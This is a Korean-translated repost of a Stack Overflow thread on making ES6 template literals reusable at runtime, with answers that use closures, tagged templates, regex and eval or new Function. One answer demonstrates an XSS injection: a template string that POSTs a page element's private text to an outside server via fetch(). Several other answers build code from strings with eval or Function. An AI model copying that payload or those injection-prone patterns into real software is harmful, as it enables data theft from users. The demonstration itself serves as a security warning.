developer tip

ES6 템플릿 리터럴은 런타임에 대체 (또는 재사용) 할 수 있습니까?

optionbox 2020. 9. 1. 07:26
반응형

ES6 템플릿 리터럴은 런타임에 대체 (또는 재사용) 할 수 있습니까?


tl; dr : 재사용 가능한 템플릿을 리터럴로 만들 수 있습니까?

템플릿 리터럴을 사용하려고했지만 이해가 안되는 것 같고 지금은 좌절하고 있습니다. 내 말은, 나는 그것을 얻는다고 생각하지만 "그것"은 그것이 어떻게 작동하는지, 어떻게 얻어야 하는가가 아니어야합니다. 달라져야합니다.

내가 본 모든 예제 (심지어 태그가있는 템플릿)는 "대체"가 런타임이 아닌 선언 시간에 수행되어야하며, 이는 템플릿에 대해 전혀 쓸모가 없어 보입니다. 내가 미쳤을지도 모르지만, "템플릿"은 당신이 그것을 만들 때가 아니라 사용할 때 대체되는 토큰을 포함하는 문서입니다. 그렇지 않으면 그것은 단지 문서 (즉, 문자열) 일뿐입니다. 템플릿은 토큰 함께 토큰 함께 저장되며 이러한 토큰은 평가할 때 평가됩니다.

누구나 다음과 같은 끔찍한 예를 인용합니다.

var a = 'asd';
return `Worthless ${a}!`

멋지지만 이미 알고 있다면 a그냥 return 'Worthless asd'또는 return 'Worthless '+a. 점은 무엇인가? 진지하게. 좋아요 요점은 게으름입니다. 더 적은 장점, 더 많은 가독성. 큰. 그러나 그것은 템플릿이 아닙니다! IMHO가 아닙니다. 그리고 MHO가 중요합니다! 문제인 IMHO는 템플릿이 선언 될 때 평가된다는 것입니다. 따라서 그렇게한다면 IMHO는 다음과 같습니다.

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

expletiveis 선언되지 않았기 때문에 My undefined template. 감독자. 사실, 적어도 Chrome에서는 템플릿을 선언 할 수도 없습니다. expletive정의되지 않았기 때문에 오류가 발생 합니다. 내가 필요한 것은 템플릿을 선언 한 후 대체를 수행 할 수있는 것입니다.

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

그러나 이것이 실제로 템플릿이 아니기 때문에 이것이 어떻게 가능한지 모르겠습니다. 태그를 사용해야한다고해도 작동하지 않습니다.

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

이 모든 것이 템플릿 리터럴의 이름이 끔찍하게 잘못되어 실제 이름으로 불러야한다고 믿게 만들었습니다 : heredocs . 나는 "문자 그대로"부분이 나에게 팁을 주었어야한다고 생각한다 (불변과 같이)?

내가 뭔가를 놓치고 있습니까? 재사용 가능한 템플릿을 리터럴로 만드는 (좋은) 방법이 있습니까?


재사용 가능한 템플릿 리터럴을 제공합니다 .

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

그리고 여기에 순진한 "도우미"기능이 있습니다 ...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

... "더 좋게"만들기 위해.

나는 그것들이 구불 구불 한 느낌을 생성하는 영역 때문에 템플릿 구 테랄이라고 부르는 경향이 있습니다.


이러한 리터럴이 다른 템플릿 엔진처럼 작동하도록하려면 중개 양식이 필요합니다.

이를 수행하는 가장 좋은 방법은 Function생성자 를 사용하는 것 입니다.

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

다른 템플릿 엔진과 마찬가지로 파일과 같은 다른 위치에서 해당 문자열을 가져올 수 있습니다.

템플릿 태그를 사용하기 어려운 것처럼이 방법을 사용하는 데 문제가있을 수 있지만 영리하다면 추가 할 수 있습니다. 또한 늦은 보간으로 인해 인라인 JavaScript 로직을 가질 수 없습니다. 이것은 또한 약간의 생각으로 해결할 수 있습니다.


함수에 템플릿 문자열을 넣을 수 있습니다.

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

태그가 지정된 템플릿을 사용하여 동일한 작업을 수행 할 수 있습니다.

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

아이디어는 템플릿 파서가 변수 "slots"에서 상수 문자열을 분리 한 다음 매번 새로운 값 집합을 기반으로 다시 함께 패치하는 함수를 반환하는 것입니다.


아마도이 작업을 수행하는 가장 깨끗한 방법은 화살표 함수를 사용하는 것입니다 (이 시점에서는 이미 ES6를 사용하고 있기 때문입니다).

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

... 태그 된 템플릿 리터럴의 경우 :

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

이것은 또한 컴파일러에 문제를 일으키고 많은 속도 저하를 유발할 수있는 eval()or 의 사용을 피합니다 Function().


2019 답변 :

참고 : 라이브러리는 원래 사용자가 XSS를 피하기 위해 문자열을 삭제해야한다고 예상했습니다. 라이브러리의 버전 2는 eval완전히 피하므로 더 이상 사용자 문자열을 삭제 (웹 개발자가 수행해야 함) 할 필요가 없습니다 .

es6-dynamic-templatenpm모듈 이이를 수행합니다.

const fillTemplate = require('es6-dynamic-template');

현재 답변과 달리 :

  • 유사한 형식이 아닌 ES6 템플릿 문자열을 사용 합니다. 업데이트 버전 2는 ES6 템플릿 문자열이 아닌 유사한 형식을 사용하여 사용자가 비정상적인 입력 문자열을 사용하지 못하도록합니다.
  • this템플릿 문자열에 필요하지 않습니다.
  • 단일 함수에서 템플릿 문자열 및 변수를 지정할 수 있습니다.
  • StackOverflow의 카피 파스타가 아닌 유지 관리되고 업데이트 가능한 모듈입니다.

사용법은 간단합니다. 나중에 해결 될 템플릿 문자열로 작은 따옴표를 사용하십시오!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

당신이 당신의 템플릿에서 변수를 참조하도록 명령 매개 변수 또는 컨텍스트 / 네임 스페이스를 사용하지 않으려면 예를 들어 ${0}, ${this.something}또는 ${data.something}, 당신은 당신을위한 범위 지정을 담당 템플릿 기능을 가질 수있다.

이러한 템플릿을 호출하는 방법의 :

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

템플릿 기능 :

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

이 경우의 단점은 ES6 템플릿 리터럴을 반환하는 함수 (예에서는 화살표 함수를 사용함)를 전달해야한다는 것입니다. 우리가 추구하는 재사용 가능한 보간법을 얻는 것은 사소한 절충안이라고 생각합니다.

여기 GitHub에 있습니다 : https://github.com/Adelphos/ES6-Reuseable-Template


@metamorphasi에서 제공하는 답변을 단순화합니다.

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

예, Function(또는 eval)에 의해 JS로 템플릿을 사용하여 문자열을 구문 분석하여 수행 할 수 있습니다. 그러나 이것은 권장되지 않으며 XSS 공격을 허용 합니다.

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example venomous string which will 'hack' fillTemplate function
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain); // evil string attack here

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}

window.parseString=parseString;
#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

대신 다음과 같이 동적 방식으로 템플릿 개체 필드를 안전하게 삽입 할 수 있습니다.objstr

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, {...['A,B,C', 666, 'BIG']} );
console.log("ARRAY :", r2);


이것이 나의 최선의 시도입니다.

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

일반화하려면 :

var s = (<variable names you want>) => {return `<template with those variables>`}

E6를 실행하지 않는 경우 다음을 수행 할 수도 있습니다.

var s = function(<variable names you want>){return `<template with those variables>`}

이것은 이전 답변보다 조금 더 간결한 것 같습니다.

https://repl.it/@abalter/reusable-JS-template-literal


다소 단순한 것을 찾고 있다면 (단지 고정 변수 필드, 계산 없음, 조건문…) IE 8,9,10,11과 같은 템플릿 문자열 지원이없는 브라우저 에서도 클라이언트 측 에서 작동합니다 .

여기에 우리가 간다 :

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}

일반적으로 나는 evil 사용에 반대 eval()하지만이 경우에는 의미가 있습니다.

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

Then if you change the values and call eval() again you get the new result:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

If you want it in a function, then it can be written like so:

function populate(a, b){
  return `${a}.${b}`;
}

Am I missing something? Is there a [good] way to make a reusable template literal?

Maybe I am missing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.

I have an almost one-liner for it:

function defer([fisrt, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, fisrt);
}

That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'

Applying this tag returns back a 'function' (instead of a 'string') that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes 'undefined'.


Extended answer

This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:

  1. Make use of original parameters:

    You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:

    function deferWithDefaults([fisrt, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, fisrt);
    }
    

    Then:

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 
    
  2. Write a template factory:

    Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };
    

    Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }
    
    const sql = createTemplate(sqlSanitize);
    

    With this naïve (I repeat, naïve!) sql template we could build queries like this:

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`
    
  3. Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.

  4. Make the return object behave like a 'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.

  5. Resolve parameters within global namespace at call site:

    I give you, reusable template literals:

    Well, this is what OP showed is his addendum, using the command evil , I mean, eval. This could be done without eval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.


The short answer is just use _.template in lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

you can use inline arrow function like this, definition:

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

usage:

console.log(template('my replaced string'));

UPDATED: The following answer is limited to single variable names, so, templates like: 'Result ${a+b}' are not valid for this case. However you can always play with the template values:

format("This is a test: ${a_b}", {a_b: a+b});

ORIGINAL ANSWER:

Based in the previous answers but creating a more "friendly" utility function:

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

You can invoque it just like:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

And the resulting string should be:

'This is a test: Hola, second param: Hi'

A simple utility function. No need for external library.

/**
 * @param templateString the string with es6 style template such as "Hello my name is: ${name}"
 * @param params the params which is a key/value pair for the template.
 */
export const fillTemplate = (templateString: string, params: any): string => {
    let completedString = templateString
    Object.keys(params).forEach((eachKeyName) => {
        completedString = completedString.replace('${' + eachKeyName + '}', params[eachKeyName])
    })
    return completedString
}

I was annoyed at the extra redundancy needed of typing this. every time, so I also added regex to expand variables like .a to this.a.

Solution:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

Use as such:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

I just publish one npm package that can simply do this job. Deeply inspired by this answer.

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

Its implement is deadly simple. Wish you will like it.


module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}

참고URL : https://stackoverflow.com/questions/30003353/can-es6-template-literals-be-substituted-at-runtime-or-reused

반응형